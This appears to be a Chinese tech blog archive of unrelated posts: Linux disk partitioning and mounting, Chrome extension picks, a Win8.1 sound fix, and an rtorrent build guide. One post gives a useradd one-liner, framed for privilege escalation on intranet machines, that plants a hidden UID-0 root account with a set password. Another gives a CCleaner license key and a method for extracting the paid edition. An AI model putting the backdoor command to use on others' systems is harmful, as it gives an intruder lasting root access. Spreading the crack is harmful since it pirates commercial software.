linux运维:Linux下添加新硬盘+分区及挂载详细步骤图解

原文地址:Linux下添加新硬盘,分区及挂载 作者:sjhf

挂载好新硬盘后输入fdisk -l命令看当前磁盘信息

200811221227366545284
可以看到除了当前的第一块硬盘外还有一块sdb的第二块硬盘,然后用fdisk /dev/sdb 进行分区
200811221227366641881
进入fdisk命令,输入h可以看到该命令的帮助,按n进行分区
200811221227366718341
这里输入e即分为逻辑分区,按p即分为主分区,我们要将这块盘分为主分区即输入p
200811221227366772225
到这里输入该主分区为第几个主分区,由于是新盘我们输入1来分第一个主分区
200811221227366848997
First Cylinder是选择该分区的起始磁盘数,这里可自定义也可不做选择,默认是1,如无特殊需求强烈建议选择默认,也就是1来分区(直接按回车)
200811221227366906209
接下来是定义该分区的大小,如果按默认(按回车)即是使用全部可用存储额,也可以是用M或m单位结尾的数字(大写M是大B的意思,如果输入1M实际上是X8也就是8m的空间),这里我们先分一个1G的空间,所以输入+1024m
200811221227366953843
之后输入w写入分区,等待结束皆可
200811221227367048972
再输入fdisk -l 可以看到我们刚才分的一个分区,之后用mkfs -t ext3 -c /dev/sdb1进行格式化,如有多个分区可把sdb1改成sdb2 sdb3…以此类推,具体可用fdisk -l看到每个分区的名字
200811221227367365971
上图蓝色部分是写硬盘卷标的,如不想要卷标可直接按回车,现在分区好了我们用mount 挂载一下该分区即可使用了,这里我把它挂载到mnt目录下,也可以自建一个目录挂载
200811221227367426106
来看一下分区大小是否和预定的一样,使用df -TH命令看一下当前挂载的分区和大小,看到我们刚分的分区了吧
200811221227367491115
如果想每次系统重启都能自动挂载该分区可修改/etc/fstab文件,在最后加一段 /dev/sdb1    /www    ext3    defaults 1 2 (格式说明:/dev/sdb1 代表哪个分区  ext3是该分区的格式 defaults 是挂载时所要设定的参数(只读,读写,启用quota等),输入defaults包括的参数有(rw、dev、exec、auto、nouser、async) ,1是使用dump是否要记录,0是不要。 2是开机时检查的顺序,是boot系统文件就为1,其他文件系统都为2,如不要检查就为0)
200811221227367562514

12个强大的Chrome插件扩展推荐

Chrome功能强大,也得益于其拥有丰富的扩展资源库。Chrome Web Store里有各种各样的插件,可以满足你使用Chrome时的各种要求。和Firefox一样,Chrome的扩展非常容易安装,而且非常容易卸载。与Firefox不同,Chrome的扩展不需要重新启动,并且不会有扩展插件会减小你的网页面积。在这里我总结出2013年 Chrome 的12款非常强大的扩展程序,供大家挑选分享。这些插件能不同程度地提升效率。诸如Turn off the light这些非常常用的我就不介绍了。

继续阅读: 12个强大 Chrome 插件推荐 (二)

所有的扩展程序都可以在Chrome Web Store在线搜索并下载。(除非你打不开Web Store)

Holmes

书签搜索工具。如果你有非常多的书签,多到你已经搞不清楚哪些放到哪里了,虽然在chrome的万能地址栏里可以简单搜索,但是毕竟不全面。Holmes可以实现实时搜索,从标题和地址匹配,达到快速找到你想要的书签的目的。你不用去层层叠叠的文件夹心酸地寻找了。

https://chrome.google.com/webstore/detail/holmes/gokficnebmomagijbakglkcmhdbchbhn

holmes

LastPass

密码管理软件。可以把你所有的密码信息保存起来,你再也无需记住复杂繁多的密码了,只需登录到lastpass,然后保存你的密码,lastpass会自动帮你完成登陆,不需要输入密码。它允许你从任何主流的密码存储器导入和导出密码,捕获其它管理器无法捕获的密码包括很多AJAX表单。也可轻松地创建强大的密码。敏感信息在上传之前已在本地计算机上加密,因此就算是LastPass的员工也无法得到密码信息。更好的事时,lastpass支持的不仅仅是Chrome,还有Firefox、opera,甚至IE。

https://chrome.google.com/webstore/detail/lastpass/hdokiejnpimakedhajhdlcegeplioahd?hl=zh-CN

LastPass-Chrome

Lazarus: Form Recovery

一款强大的急救软件。在你的浏览器发生崩溃、意外退出、结束进程时,可以借助此软件来回复你之前在浏览器页面上所输入的文本,而不需要悲惨的重新输入一次。

https://chrome.google.com/webstore/detail/lazarus-form-recovery/loljledaigphbcpfhfmgopdkppkifgno

lazarus-example-google

Minimalist for Everything

样式表修改插件。你可以利用它来实现站点的多种CSS自定义,或者让网站看起来更加清爽,或者让网站的风格更符合你的口味。例如隐藏某个新闻网站的广告,去掉GMail的导航条,甚至还可以做到邮件附件图标随着插件类型而自动改变。只需一次设置,即可云端同步,并且在站点加载时自动应用。不过因为它太强大了,很多人在安装后都不知道该怎样用。

https://chrome.google.com/webstore/detail/minimalist-for-everything/bmihblnpomgpjkfddepdpdafhhepdbek

minimalist

Secure Bookmarks

顾名思义,一款加密书签的插件。不过这可不是加密你整个书签,而是在这个插件的私密空间去添加私密的书签。除非输入密码,不然别人看不到你在这个插件里保存的书签。例如你想要给某人买礼物,中意的商品网页不想让人看到,或者你的私人信息页面想要隐藏,你都可以把它们添加到Secure Bookmarks里面。并且你只需要输入一次查看密码,在你的整个使用过程中都可以随时添加修改或访问。在你离开电脑时,只需点一下插件上的“Exit”,直到下一次输入密码访问。

https://chrome.google.com/webstore/detail/secure-bookmarks/leocjgngiajhfiikjolfhcpiokgbinep

secure-bookmarks

Text Mode

把整个网页全部变成只剩下文字吧!这个插件特别适合爱在网上看新闻或者看小说、阅读的同学。开启这个插件后,所有图片都会变虚线框,整个网页色调变成黑白,让你注意力集中在文本上,再也没有让人烦恼、分散注意力的令人脸红心跳的图片了!你只需尽情阅读就可以了。不过你不能拿它来看在线漫画。

https://chrome.google.com/webstore/detail/text-mode/adelhekhakakocomdfejiipdnaadiiib

Text-mode

 

Kloudless

这个插件可以帮助你把Gmail邮件里的附件转存到Box,Google Drive,以及Dropbox里。你不需要先下载,再登陆,再上传,现在只需几个按键即可。在使用前需要登录到相关服务获取权限。

https://chrome.google.com/webstore/detail/kloudless/nddbhiejgghlfkjcmhanfpbpjiliclkd

kloudless

Tabs Outliner

我们知道如果Chrome打开了超过十个标签页就会变得非常恐怖:你已经看不清楚标题了。有没有过因为标签页无序杂乱而导致重复打开了很多个相同标签的情况?如果你使用Tabs Outliner,情况就会有好转。它会在浏览器旁边新建一个窗口,把所有的标签页按照域名归类放好,如果你想要查找标签页的话就会变得十分容易。如果你的屏幕是宽屏的话更适合。

https://chrome.google.com/webstore/detail/tabs-outliner/eggkanocgddhmamlbiijnphhppkpkmkl

Tabs_Outliner

Scroll Marker

滚动很长的页面时眼睛花了不知道阅读到哪里了?别小瞧了这个插件,这个插件可以在你阅读长文本时,在页面底部(或者你想要的位置)增加一条半透明的线,随着页面滚动,这样子你在滚动时你可以根据这条线来确定自己的阅读位置来继续阅读,不会头昏眼花导致最后放弃阅读。一切样式颜色、延时时间都是可以自定义的。

https://chrome.google.com/webstore/detail/scroll-marker/jdoinodpdahlmpgmpmhonheidpjhhnid

Scroll_Marker

Chrome Office Viewer

这个插件很强大,可以在你不想打开office、不想上传到google docs或者没有安装office时,临时在直接就浏览器里面阅读office文件,从幻灯片到普通word都提供支持,非常方便。

https://chrome.google.com/webstore/detail/chrome-office-viewer-beta/gbkeegbaiigmenfmjfclcdgdpimamgkj?hl=zh-CN

Chrome-Office-Viewer

Textdown

这个插件极其简单简洁,安装后可以在新标签页的应用程序中找到它。功能类似临时记事本,不仅仅支持临时的粘贴,它还有着丰富的快捷键,支持语法自动补全、另存为各种各样的文件(例如CPP、js、html)等等丰富的功能。

https://chrome.google.com/webstore/detail/textdown/efalomlklhakojjbdfehfkgoicablooc

Textdown

HTTPS Everywhere

这个插件可以实现自动侦查网站的HTTPS支持情况,并自动切换到HTTPS SSL安全连接,实现客户端到服务器的内容传输加密,保障你的安全。如果你对自己的网上安全和隐私十分注重,那么推荐你安装这款插件。

https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp

https-everywhere

linux一条命令添加一个root级别账户并设置密码

内网机器提权添加账户,无回显,设置密码就不好弄,下面就是添加一个root级别的账户并设置密码的命令

 useradd -p `openssl passwd -1 -salt ‘lsof’ admin` -u 0 -o -g root -G root -s /bin/bash -d /home/lsof lsof

命令解释

useradd 添加用户
-p `openssl passwd -1 -salt ‘lsof’ admin` 这个里面的指的是设置用户的密码,里面的lsof差不多是密钥之类的,可以随便写, admin是明文密码
-u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
-g root -G root 将用户添加到root组
-s /bin/bash 指定新建用户的shell路径
-d /home/lsof 新建用户的主目录,可以自己定义
lsof 新建的用户的用户名

CCleaner 免费版变专业版

其实,大家从官网下载的CCleaner 免费版安装包里就包含专业版,只不过没释放出来而已。

我来教大家如何从免费版安装包里释放出专业版:

①下载安装CCleaner 免费版安装程序,

②断开网络后再安装,如果有防火墙拦截CCleaner.exe联网亦可。
注意此步是成败关键,一定要断绝其联网(如果不断网,虽然注册了,但是却不能释放出专业版支持文件:branding.dll,也就变不成专业版)。

③运行CCleaner,输入注册信息:
Name:Registered User
License Key:CBB4-FJN4-EPC6-G5P6-QT4C
完成注册,同时在程序目录下释放出专业版支持文件:branding.dll

④OK了,这时可以联网了,只要branding.dll释放出来了,CCleaner程序再联网是无任何妨碍的。

===========

以上是自动释放,咱们也可以手工强行释放出专业版支持文件-branding.dll(这样就不用断网了),方法是:
CCleaner安装后,去主程序目录,用工具(我使用的是Restorator 2007)打开 CCleaner.exe,在资源树列表中“BRANDING”下找到296,将296导出为296.dcr或者296.raw,这就是专业版的 branding.dll,将这296.dcr或者296.raw重命名为branding.dll即可。然后还是打开程序,会出现注册界面,在断网情况下,输入上面的名字和注册码,即可成功。

第一种方法很多人不成功,要看运气。但是第二种方法基本上100%成功,可以尝试一下。

顺便一说~CCleaner的免费版和专业版区别不大,多了多用户管理还有浏览器监控,就是说每次浏览器退出可以帮你自动删除缓存。

Macbook Pro 升级Win8.1预览版后无声音

前段时间Win8.1的预览版终于出了,于是第一时间安装。结果安装完之后发现没有任何声音了。。。

于是重装驱动,没用。更新驱动,没用。。。重装BootCamp,还是没用。。。

最后,在网上看到一篇帖子,说把下图中的Disable all enhancements勾选上就可以解决这个问题。抱着试试看的心态试了一下,果然好了!

Win8-无声

 

顺便一说,如果你的耳机和扬声器都无声,那需要把耳机和扬声器的这两个选项都勾上才可以~

再顺便一说,外置声卡貌似完全没有影响,我的硕美科的USB耳机使用完全正常。

编译安装rtorrent并添加IPv6支持

本文章安裝方式參考下面這篇文章,
http://filesharefreak.com/2010/02/13/how-to-install-rtorrent-rutorrent-using-socket-ssl-authentication-on-ubuntu-or-debian/
其實只能算是該篇文章的部份中譯, 並補上 IPv6 的支援,
IPv6 部份參考
http://libtorrent.rakshasa.no/ticket/1111
http://ihipop.info/2010/08/1363.html
(1) 先連上 SSH 並以 root 的身份開始進行安裝
su root
(2) 更新 apt 資料庫
apt-get update
(3) 安裝相依套件
apt-get install -y build-essential pkg-config libcurl4-openssl-dev libsigc++-2.0-dev libncurses5-dev lighttpd screen subversion libterm-readline-gnu-perl php5-cgi apache2-utils php5-curl curl php5-cli
(3) 安裝 libtorrent
cd ~
wget http://libtorrent.rakshasa.no/downloads/libtorrent-0.12.6.tar.gz
tar zxfv libtorrent-0.12.6.tar.gz
cd libtorrent-0.12.6
wget http://home.samfundet.no/~sesse/libtorrent-0.12.6-ipv6-07.patch
patch -p1 < libtorrent-0.12.6-ipv6-07.patch ======================== 修改 libtorrent 程式碼 libtorrent-0.12.6/rak/string_manip.h 第186行:由 return 'A' + v - 0xA; 改為 return 'a' + v - 0xA; ======================== ./configure --enable-ipv6 make make install (4) 安裝 XMLRPC-C cd ~ svn checkout http://xmlrpc-c.svn.sourceforge.net/svnroot/xmlrpc-c/stable xmlrpc-c cd xmlrpc-c/ ./configure make make install (5) 安裝 rTorrent: cd ~ wget http://libtorrent.rakshasa.no/downloads/rtorrent-0.8.6.tar.gz tar zxfv rtorrent-0.8.6.tar.gz cd rtorrent-0.8.6 wget http://home.samfundet.no/~sesse/rtorrent-0.8.6-ipv6-07.patch patch -p1 < rtorrent-0.8.6-ipv6-07.patch ./configure --with-xmlrpc-c --enable-ipv6 make make install (6) 接下來為了讓 rtorrent 能夠開機就自動執行,需要作下面的動作 vim /etc/init.d/rtorrent.sh 將下面的文字寫到 /etc/init.d/rtorrent.sh 將 snowwolf725 改成你自己的使用者 ID =========================== #!/bin/sh case "$1" in start) echo -n "Starting rtorrent" su - snowwolf725 -c "screen -A -m -d -S rtorrent /usr/local/bin/rtorrent" & echo "." ;; stop) echo -n "Stopping rtorrent" ppid=`ps ax | grep "/usr/local/bin/rtorrent" | grep -v grep | grep -v screen | awk '{ print $1 }'` kill ${ppid} rm /tmp/rpc.socket echo "." ;; restart) echo -n "Restarting rtorrent" ppid=`ps ax | grep "/usr/local/bin/rtorrent" | grep -v grep | grep -v screen | awk '{ print $1 }'` kill ${ppid} rm /tmp/rpc.socket sleep 1 su - snowwolf725 -c "screen -A -m -d -S rtorrent /usr/local/bin/rtorrent" & echo "." ;; *) echo "Usage: {start|stop|restart}" >&2
exit 1
;;
esac
exit 0

==============================
讓該檔案變成可以執行
chmod +x /etc/init.d/rtorrent.sh
(7)換成一般使用者的身份, 這裡的 snowwolf725 要換成你自己的使用者名稱, 要先更新函式庫 cache
ldconfig
su snowwolf725
cd ~
(8) 設定 rTorrent
vim .rtorrent.rc

依照下面的設定檔改成自己可以用的設定檔#開頭的那幾行是註解可以不用打, vim 有分編輯模式和命令模式,一開始進入是命令模式,按 i 或是 a 可以進入編輯模式打字,按 ESC 可以離開編輯模式回到命令模式,輸入 [:w](不包涵中括號,即冒號和w) 然後按下 Enter 可以寫入檔案,[:q!] 按下Enter 可以離開畫面, 其實檔案可以先打好命名成 .rtorrent.rc 利用 PPutty (不是putty)上傳到主機就可以了(上傳方法是開啟 pputty 並登入然後將檔案拖曳到 pputty,會詢問你帳號密碼傳完預設在家目錄下面)
主要需要修改的是
各個 rtorrent 的目錄
===================================
# 最大最小連接數
min_peers = 50
max_peers = 100

# 最大最小連接數(對於已經完成下載的種子)
min_peers_seed = 10
max_peers_seed = 100

# 最大同時上傳的連接數
max_uploads = 50
# 檔案名稱編碼
encoding_list = UTF-8
# 上下傳 ratio (0表示不限)
download_rate = 0
upload_rate = 0

# 存放下載檔案的路徑
directory = /home/snowwolf725/data
# rtorrent 的工作目錄
session = /home/snowwolf725/session

# 每五分鐘查看特定目錄並下載新的種子
schedule = watch_directory,5,5,load_start=/home/snowwolf725/watch/*.torrent

# Server 的 IP 和 Domain name (IPv6 不能綁 IPv4 的 address)
# ip = 1.2.3.4
# ip = ks00000.kimsufi.com
# bind = 1.2.3.4
# rtoreent 所使用的 port
port_range = 49152-65535
# 是否使用 udp 的 Tracker
use_udp_trackers = yes
# 連線加密(允許加密連線連入,但預設使用未加密連線)
encryption = allow_incoming,enable_retry,prefer_plaintext
# 依照種子設定決定是否開啟 DHT
dht = auto

# DHT 的 port
dht_port = 19000

# 是否開啟 peer exchange 功能(開啟)
peer_exchange = yes
umask = 0000
on_erase = rm_complete,”execute=rm,-rf,$d.get_base_path=”
schedule = low_diskspace,5,5,close_low_diskspace=100M

# 不作 hash 檢查檔案完整性
check_hash = no

==============================
(9) 測試 rtorrent
執行 rtorrent
這樣就完成了, 按 Ctrl+q 可以離開 rtorrent

 

PS,Ubuntu经过这种方式安装启动rtorrent可能会报错说找不到libtorrent这个库。此时将/usr/local/bin/rtorrent复制到/usr/bin/下,将/usr/local/lib/libtorrent.so.11和/usr/local/lib/libtorrent.so.11.0.6复制到/usr/lib/下再启动rtorrent即可。